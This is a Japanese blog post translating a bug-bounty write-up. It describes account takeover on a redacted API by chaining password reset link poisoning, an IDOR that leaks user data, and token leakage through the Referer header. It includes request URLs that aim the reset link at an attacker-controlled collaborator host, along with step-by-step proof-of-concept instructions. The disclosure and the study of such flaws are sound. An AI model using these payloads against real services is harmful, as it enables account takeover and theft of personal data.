Shikata Ga Nai

Private? There is no such things.

Chaining password reset link poisoning, IDOR, and information leakage to achieve account takeover at api.redacted.comを訳してみた

Hello there, ('ω')ノ

 

api.redacted.comでアカウントの乗っ取りを実現するために。

パスワードリセットリンクポイズニング、IDOR、および情報漏えいの連鎖を。

 

脆弱性:

 HTTPヘッダインジェクション

 

記事:

 https://infosecwriteups.com/chaining-password-reset-link-poisoning-idor-account-information-leakage-to-achieve-account-bb5e0e400745

 

影響力のある脆弱性についてターゲットWebアプリケーションを評価する際に。

実行するのに役立つチェックは、ウェイバックマシンを調べて。

時間の経過とともにターゲットに存在していたURLを発見することで。

これらは、バグをテストできる重要な機能を公開する可能性があって。

 

ユーザは、次のエンドポイントを介してアカウントのパスワードをリセットできて。

 https://api.redacted.com/v3/users/resetToken?email=foobar@gmail.com

 

偵察をしている間、waybackurlsを使用して。

URLを見つけるプロセスを自動化するのが好きで。

 

 https://github.com/tomnomnom/waybackurls

f:id:ThisIsOne:20211013110452p:plain

 

ツールの結果を検索すると、興味深いパラメータ(resetPasswordUrlPrefix)を含む。

パスワードリセットエンドポイントの代替バージョンが見つかって。

 https://api.redacted.com/v3/users/resetToken?email=foobar@gmail.com&resetPasswordUrlPrefix=https%3A%2F%web.archive.org%2Fsave%2F_embed%2Fhttps%3A%2F%2Faccounts.redacted.com%2Fmember%2Freset-password

 

また、/v3/users/エンドポイントにはアクセス制御がなくて。

リクエスト内のメールアドレス、またはハンドルパラメータを変更するだけで。

他のユーザが所有する情報を取得できることも注目して。

(2つのパラメータは、交換可能で)

 

下記のようにAPIエンドポイントで。

user handle、email、ID、firstName、LastNameがリークしていて。

 

f:id:ThisIsOne:20211013111244p:plain

 

なので、resetPasswordUrlPrefixパラメータの使用法を。

理解しようとしているときにアイデアが思い浮かび。

アカウントのパスワードをリセットしているときに。

burpcollaboratorからペイロードを提供した場合はどうなるだろうかと。

 https://api.redacted.com/v3/users/resetToken?email=foobar@gmail.com&resetPasswordUrlPrefix=https://lvk9gh5vmzmaack1xdb3ekexyo4gs5.burpcollaborator.net/save/_embed/https://accounts.redacted.com/member/reset-password

 

これにより、burpcollaboratorクライアントでDNSとHTTPの相互作用が発生して。

パスワードリセットトークンがリファラヘッダでリークされたことが確認できて。

この情報は概念実証に十分だったので、レポートを作成することに。

 

f:id:ThisIsOne:20211013111146p:plain

 

次の手順で、概念実証を示すことに。

1.テスト目的でプログラムに2つのアカウントを登録して。

 1つのアカウントにログインして。

 

2.影響を受けるエンドポイントにリクエストを送信して。

 email、またはhandleパラメータを。

 被害者のアカウントに属するものに置き換えて。

 https://api.redacted.com/v3/users/resetToken?email=foobar@gmail.com&resetPasswordUrlPrefix=https://lvk9gh5vmzmaack1xdb3ekexyo4gs5.burpcollaborator.net/save/_embed/https://accounts.redacted.com/member/reset-password

 

3.被害者のアカウントは、攻撃者のドメインの前に付けられた。

 パスワードリセットリンクを受け取って。

 被害者のアカウントは、攻撃者が制御するドメインが埋め込まれた。

 ポイズニングされたリンクを受け取って。

 

f:id:ThisIsOne:20211013110957p:plain

 

4.被害者がポイズニングされたリンクをクリックすると。

 攻撃者は、リファラヘッダに表示されている被害者の。

 パスワードリセットトークンを使用して

 自分のドメインへのリクエストを受け取って。

 

5.攻撃者は、パスワードリセットリンクをWebブラウザにロードして。

 被害者のアカウントに新しいパスワードを設定することで。

 アカウントの乗っ取りが完了して。

 

Best regards, (^^ゞ